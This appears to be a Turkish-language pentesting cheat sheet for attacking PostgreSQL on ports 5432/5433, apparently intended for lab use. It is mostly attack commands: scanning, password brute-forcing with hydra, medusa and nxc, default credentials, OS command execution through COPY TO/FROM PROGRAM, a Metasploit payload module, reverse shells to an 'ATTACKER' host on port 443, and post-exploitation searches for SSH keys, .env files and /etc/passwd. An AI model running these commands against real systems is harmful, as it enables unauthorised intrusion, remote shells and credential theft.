Skip to content

5432,5433 - Pentesting Postgresql

PostgreSQL database

Postgres COPY TO/FROM PROGRAM ve zayıf auth ile OS komutu çalıştırır. Hedef lab IP’si üzerinde komutları 5432 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 5432 doğrula.

  2. Login brute.

  3. Priv.

  4. COPY PROGRAM / CVE.

Terminal window
nmap -Pn -sV -p5432 TARGET
Terminal window
nmap -Pn -p5432 --script pgsql-brute TARGET
Terminal window
psql -h TARGET -U postgres
Terminal window
nxc postgres TARGET -u postgres -p postgres
COPY (SELECT '') TO PROGRAM 'id'
Terminal window
msfconsole -q -x 'use exploit/linux/postgres/postgres_payload; set RHOSTS TARGET; run'
Terminal window
psql ... -c "CREATE TABLE x(t text); COPY x FROM PROGRAM 'bash -c bash>/dev/tcp/ATTACKER/443';"

,5433 - Postgresql için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p5432,5433 TARGET
Terminal window
nmap -Pn -p5432 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5432' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',5432));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,5433 - Postgresql
Terminal window
hydra -L users.txt -P rockyou.txt -s 5432 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5432
Terminal window
nmap -p5432 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit PostgreSQL
Terminal window
msfconsole -q -x 'search PostgreSQL; exit'
Terminal window
nuclei -u https://TARGET:5432 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:5432 -tags tech -silent || true
Terminal window
nc -nv TARGET 5432
Terminal window
printf '
' | timeout 3 nc -nv TARGET 5432
Terminal window
curl -vk --http1.0 http://TARGET:5432/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
login → COPY PROGRAM → reverse shell